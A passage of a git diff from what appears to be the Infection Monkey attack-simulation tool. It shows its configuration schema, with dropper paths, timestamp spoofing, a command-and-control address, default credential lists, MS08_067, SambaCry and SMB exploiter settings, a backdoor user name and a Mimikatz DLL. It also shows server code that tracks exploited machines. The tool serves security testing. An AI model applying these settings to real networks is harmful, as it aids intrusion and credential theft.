"Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should set the monkey's file date to be the same as another file" + }, + "dropper_date_reference_path": { + "title": "Droper date reference path", + "type": "string", + "default": "\\windows\\system32\\kernel32.dll", + "description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path": { + "title": "Dropper target path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should try to move itself instead of copying itself to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + } + } + } + } + }, + "cnc": { + "title": "C&C", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + } + }, + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "41.50.73.31:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "41.50.73.31:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" + } + } + }, + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + }, + "sambacry_commandline_filename": { + "title": "SambaCry commandline filename", + "type": "string", + "default": "monkey_commandline.txt", + }, + "sambacry_runner_result_filename": { + "title": "SambaCry runner result filename", + "type": "string", + "default": "monkey_runner_result", + }, + "sambacry_runner_filename_32": { + "title": "SambaCry runner filename (32 bit)", + "type": "string", + "default": "sc_monkey_runner32.so", + }, + "sambacry_runner_filename_64": { + "title": "SambaCry runner filename (64 bit)", + "type": "string", + "default": "sc_monkey_runner64.so", + }, + "sambacry_monkey_filename_32": { + "title": "SambaCry monkey filename (32 bit)", + "type": "string", + "default": "monkey32", + }, + "sambacry_monkey_filename_64": { + "title": "SambaCry monkey filename (64 bit)", + "type": "string", + "default": "monkey64", + }, + "sambacry_monkey_copy_filename_32": { + "title": "SambaCry monkey copy filename (32 bit)", + "type": "string", + "default": "monkey32_2", + }, + "sambacry_monkey_copy_filename_64": { + "title": "SambaCry monkey copy filename (64 bit)", + "type": "string", + "default": "monkey64_2", + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + } + } + }, + "mimikatz": { + "title": "Mimikatz", + "type": "object", + "properties": { + "mimikatz_dll_name": { + "title": "Mimikatz DLL name", + "type": "string", + "default": "mk.dll", + "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether monkey should scan its subnets additionally" + }, + "network_range": { + "title": "Network range", + "type": "object", + "properties": { + "range_class": { + "title": "Range class", + "type": "string", + "default": "FixedRange", + "enum": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "enumNames": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "description": "Determines which class to use to determine scan range" + }, + "range_size": { + "title": "Relative range size", + "type": "integer", + "default": 1, + "description": "Determines the size of the RelativeRange - amount of IPs to include" + }, + "range_fixed": { + "title": "Fixed range IP list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "172.16.0.67" + ], + "description": "List of IPs to include when using FixedRange" + } + } + } + } + }, + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} + + +class ConfigService: + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.config.find_one({'name': 'newconfig'}) or {} + for field in ('name', '_id'): + config.pop(field, None) + return config + + @staticmethod + def get_flat_config(): + config_json = ConfigService.get_config() + flat_config_json = {} + for i in config_json: + for j in config_json[i]: + for k in config_json[i][j]: + flat_config_json[k] = config_json[i][j][k] + + return flat_config_json + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def creds_add_username(username): + mongo.db.config.update( + {'name': 'newconfig'}, + {'$addToSet': {'exploits.credentials.exploit_user_list': username}}, + upsert=False + ) + + @staticmethod + def creds_add_password(password): + mongo.db.config.update( + {'name': 'newconfig'}, + {'$addToSet': {'exploits.credentials.exploit_password_list': password}}, + upsert=False + ) + + @staticmethod + def update_config(): + pass diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index 12dfd9559..edadb1322 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -1,11 +1,15 @@ from bson import ObjectId from cc.database import mongo +import cc.services.node __author__ = "itay.mizeretz" class EdgeService: + def __init__(self): + pass + @staticmethod def get_displayed_edge_by_id(edge_id): edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0] @@ -26,11 +30,10 @@ class EdgeService: os = {} exploits = [] if len(edge["scans"]) > 0: - services = edge["scans"][-1]["data"]["services"] + services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"]) os = edge["scans"][-1]["data"]["os"] for exploit in edge["exploits"]: - new_exploit = EdgeService.exploit_to_displayed_exploit(exploit) if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]): @@ -66,22 +69,15 @@ class EdgeService: def exploit_to_displayed_exploit(exploit): user = "" password = "" - result = False - # TODO: implement for other exploiters - - if exploit["exploiter"] == "RdpExploiter": - # TODO: check if there could be multiple creds - result = exploit["data"]["result"] - user = exploit["data"]["machine"]["creds"].keys()[0] - password = exploit["data"]["machine"]["creds"][user] - - elif exploit["exploiter"] == "SmbExploiter": - result = exploit["data"]["result"] - if result: - user = exploit["data"]["machine"]["cred"].keys()[0] - password = exploit["data"]["machine"]["cred"][user] - else: + # TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt. + result = exploit["data"]["result"] + if result: + if "creds" in exploit["data"]["machine"]: + user = exploit["data"]["machine"]["creds"].keys()[0] + password = exploit["data"]["machine"]["creds"][user] + else: + if ("user" in exploit["data"]) and ("password" in exploit["data"]): user = exploit["data"]["user"] password = exploit["data"]["password"] @@ -91,4 +87,102 @@ class EdgeService: "user": user, "password": password, "result": result, - } \ No newline at end of file + } + + @staticmethod + def insert_edge(from_id, to_id): + edge_insert_result = mongo.db.edge.insert_one( + { + "from": from_id, + "to": to_id, + "scans": [], + "exploits": [], + "tunnel": False, + "exploited": False + }) + return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) + + @staticmethod + def get_or_create_edge(edge_from, edge_to): + tunnel_edge = mongo.db.edge.find_one({"from": edge_from, "to": edge_to}) + if tunnel_edge is None: + tunnel_edge = EdgeService.insert_edge(edge_from, edge_to) + + return tunnel_edge + + @staticmethod + def generate_pseudo_edge(edge_id, edge_from, edge_to): + return \ + { + "id": edge_id, + "from": edge_from, + "to": edge_to, + "group": "island" + } + + @staticmethod + def get_monkey_island_pseudo_edges(): + edges = [] + monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x] + # We're using fake ids because the frontend graph module requires unique ids. + # Collision with real id is improbable. + count = 0 + for monkey_id in monkey_ids: + count += 1 + edges.append(EdgeService.generate_pseudo_edge( + ObjectId(hex(count)[2:].zfill(24)), monkey_id, ObjectId("000000000000000000000000"))) + + return edges + + @staticmethod + def get_infected_monkey_island_pseudo_edges(): + monkey = cc.services.node.NodeService.get_monkey_island_monkey() + existing_ids = [x["_id"] for x in mongo.db.edge.find({"to": monkey["_id"]})] + monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) + if ("tunnel" not in x) and (x["_id"] not in existing_ids)] + edges = [] + + # We're using fake ids because the frontend graph module requires unique ids. + # Collision with real id is improbable. + count = 0 + for monkey_id in monkey_ids: + count += 1 + edges.append(EdgeService.generate_pseudo_edge( + ObjectId(hex(count)[2:].zfill(24)), monkey_id, monkey["_id"])) + + return edges + + @staticmethod + def services_to_displayed_services(services): + # TODO: Consider returning extended information on services. + return [x + ": " + services[x]["name"] for x in services] + + @staticmethod + def edge_to_net_edge(edge): + return \ + { + "id": edge["_id"], + "from": edge["from"], + "to": edge["to"], + "group": EdgeService.get_edge_group(edge) + } + + @staticmethod + def get_edge_group(edge): + if edge["exploited"]: + return "exploited" + if edge["tunnel"]: + return "tunnel" + if (len(edge["scans"]) > 0) or (len(edge["exploits"]) > 0): + return "scan" + return "empty" + + @staticmethod + def set_edge_exploited(edge): + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$set": {"exploited": True}} + ) + + cc.services.node.NodeService.set_node_exploited(edge["to"]) + diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 67e7602dd..ed626eb5c 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -1,15 +1,20 @@ +from datetime import datetime from bson import ObjectId from cc.database import mongo from cc.services.edge import EdgeService - +from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" class NodeService: + def __init__(self): + pass @staticmethod def get_displayed_node_by_id(node_id): + if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id(): + return NodeService.get_monkey_island_node() edges = EdgeService.get_displayed_edges_by_to(node_id) accessible_from_nodes = [] @@ -17,31 +22,27 @@ class NodeService: new_node = {"id": node_id} - node = mongo.db.node.find_one({"_id": ObjectId(node_id)}) + node = NodeService.get_node_by_id(node_id) if node is None: - monkey = mongo.db.monkey.find_one({"_id": ObjectId(node_id)}) + monkey = NodeService.get_monkey_by_id(node_id) if monkey is None: return new_node # node is infected + new_node = NodeService.monkey_to_net_node(monkey) for key in monkey: - # TODO: do something with tunnel - if key not in ["_id", "modifytime", "parent", "tunnel", "tunnel_guid"]: + if key not in ["_id", "modifytime", "parent", "dead", "config"]: new_node[key] = monkey[key] - new_node["os"] = NodeService.get_monkey_os(monkey) - new_node["label"] = NodeService.get_monkey_label(monkey) - new_node["group"] = NodeService.get_monkey_group(monkey) - else: # node is uninfected + new_node = NodeService.node_to_net_node(node) new_node["ip_addresses"] = node["ip_addresses"] - new_node["group"] = "clean" for edge in edges: accessible_from_nodes.append({"id": edge["from"]}) for exploit in edge["exploits"]: - exploit["origin"] = edge["from"] + exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])) exploits.append(exploit) exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp) @@ -50,19 +51,18 @@ class NodeService: new_node["accessible_from_nodes"] = accessible_from_nodes if len(edges) > 0: new_node["services"] = edges[-1]["services"] - new_node["os"] = edges[-1]["os"]["type"] - if "label" not in new_node: - new_node["label"] = edges[-1]["os"]["version"] + " : " + node["ip_addresses"][0] - - # TODO: add exploited by return new_node + @staticmethod + def get_node_label(node): + return node["os"]["version"] + " : " + node["ip_addresses"][0] + @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): - if exploit_1["timestamp"] == exploit_2["timestamp"]: + if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]: return 0 - if exploit_1["timestamp"] > exploit_2["timestamp"]: + if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]: return 1 return -1 @@ -86,12 +86,26 @@ class NodeService: @staticmethod def get_monkey_label(monkey): - return monkey["hostname"] + " : " + monkey["ip_addresses"][0] + label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] + ip_addresses = local_ip_addresses() + if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0: + label = "MonkeyIsland - " + label + return label @staticmethod def get_monkey_group(monkey): + if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0: + return "islandInfected" + return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected" + @staticmethod + def get_node_group(node): + if node["exploited"]: + return "exploited" + else: + return "clean" + @staticmethod def monkey_to_net_node(monkey): return \ @@ -105,26 +119,122 @@ class NodeService: @staticmethod def node_to_net_node(node): - os_version = "undefined" - os_type = "undefined" - found = False - # TODO: Set this as data when received - for edge in mongo.db.edge.find({"to": node["_id"]}): - for scan in edge["scans"]: - if scan["scanner"] != "TcpScanner": - continue - os_type = scan["data"]["os"]["type"] - if "version" in scan["data"]["os"]: - os_version = scan["data"]["os"]["version"] - found = True - break - if found: - break - return \ { "id": node["_id"], - "label": os_version + " : " + node["ip_addresses"][0], - "group": "clean", - "os": os_type - } \ No newline at end of file + "label": NodeService.get_node_label(node), + "group": NodeService.get_node_group(node), + "os": node["os"]["type"] + } + + @staticmethod + def unset_all_monkey_tunnels(monkey_id): + mongo.db.monkey.update( + {"_id": monkey_id}, + {'$unset': {'tunnel': ''}}, + upsert=False) + + mongo.db.edge.update( + {"from": monkey_id, 'tunnel': True}, + {'$set': {'tunnel': False}}, + upsert=False) + + @staticmethod + def set_monkey_tunnel(monkey_id, tunnel_host_id): + NodeService.unset_all_monkey_tunnels(monkey_id) + mongo.db.monkey.update( + {"_id": monkey_id}, + {'$set': {'tunnel': tunnel_host_id}}, + upsert=False) + tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id) + mongo.db.edge.update({"_id": tunnel_edge["_id"]}, + {'$set': {'tunnel': True}}, + upsert=False) + + @staticmethod + def insert_node(ip_address): + new_node_insert_result = mongo.db.node.insert_one( + { + "ip_addresses": [ip_address], + "exploited": False, + "os": + { + "type": "unknown", + "version": "unknown" + } + }) + return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + + @staticmethod + def get_or_create_node(ip_address): + new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) + if new_node is None: + new_node = NodeService.insert_node(ip_address) + return new_node + + @staticmethod + def get_monkey_by_id(monkey_id): + return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)}) + + @staticmethod + def get_monkey_by_guid(monkey_guid): + return mongo.db.monkey.find_one({"guid": monkey_guid}) + + @staticmethod + def get_monkey_by_ip(ip_address): + return mongo.db.monkey.find_one({"ip_addresses": ip_address}) + + @staticmethod + def get_node_by_ip(ip_address): + return mongo.db.node.find_one({"ip_addresses": ip_address}) + + @staticmethod + def get_node_by_id(node_id): + return mongo.db.node.find_one({"_id": ObjectId(node_id)}) + + @staticmethod + def update_monkey_modify_time(monkey_id): + mongo.db.monkey.update({"_id": monkey_id}, + {"$set": {"modifytime": datetime.now()}}, + upsert=False) + + @staticmethod + def set_monkey_dead(monkey, is_dead): + mongo.db.monkey.update({"guid": monkey['guid']}, + {'$set': {'dead': is_dead}}, + upsert=False) + + @staticmethod + def get_monkey_island_monkey(): + ip_addresses = local_ip_addresses() + for ip_address in ip_addresses: + monkey = NodeService.get_monkey_by_ip(ip_address) + if monkey is not None: + return monkey + return None + + @staticmethod + def get_monkey_island_pseudo_id(): + return ObjectId("000000000000000000000000") + + @staticmethod + def get_monkey_island_pseudo_net_node(): + return\ + { + "id": NodeService.get_monkey_island_pseudo_id(), + "label": "MonkeyIsland", + "group": "islandClean", + } + + @staticmethod + def get_monkey_island_node(): + island_node = NodeService.get_monkey_island_pseudo_net_node() + island_node["ip_addresses"] = local_ip_addresses() + return island_node + + @staticmethod + def set_node_exploited(node_id): + mongo.db.node.update( + {"_id": node_id}, + {"$set": {"exploited": True}} + ) diff --git a/monkey_island/cc/utils.py b/monkey_island/cc/utils.py index 0274a1051..69b12612b 100644 --- a/monkey_island/cc/utils.py +++ b/monkey_island/cc/utils.py @@ -11,36 +11,6 @@ from cc.database import mongo __author__ = 'Barak' -# data structures - -def creds_add_username(username): - mongo.db.usernames.update( - {'username': username}, - {'$inc': {'count': 1}}, - upsert=True - ) - - -def creds_add_password(password): - mongo.db.passwords.update( - {'password': password}, - {'$inc': {'count': 1}}, - upsert=True - ) - - -def init_collections(usernames, passwords): - if "usernames" not in mongo.db.collection_names(): - mongo.db.usernames.create_index([("username", 1)], unique=True) - for username in usernames: - creds_add_username(username) - - if "passwords" not in mongo.db.collection_names(): - mongo.db.passwords.create_index([("password", 1)], unique=True) - for password in passwords: - creds_add_password(password) - - # Local ips function if sys.platform == "win32": def local_ips():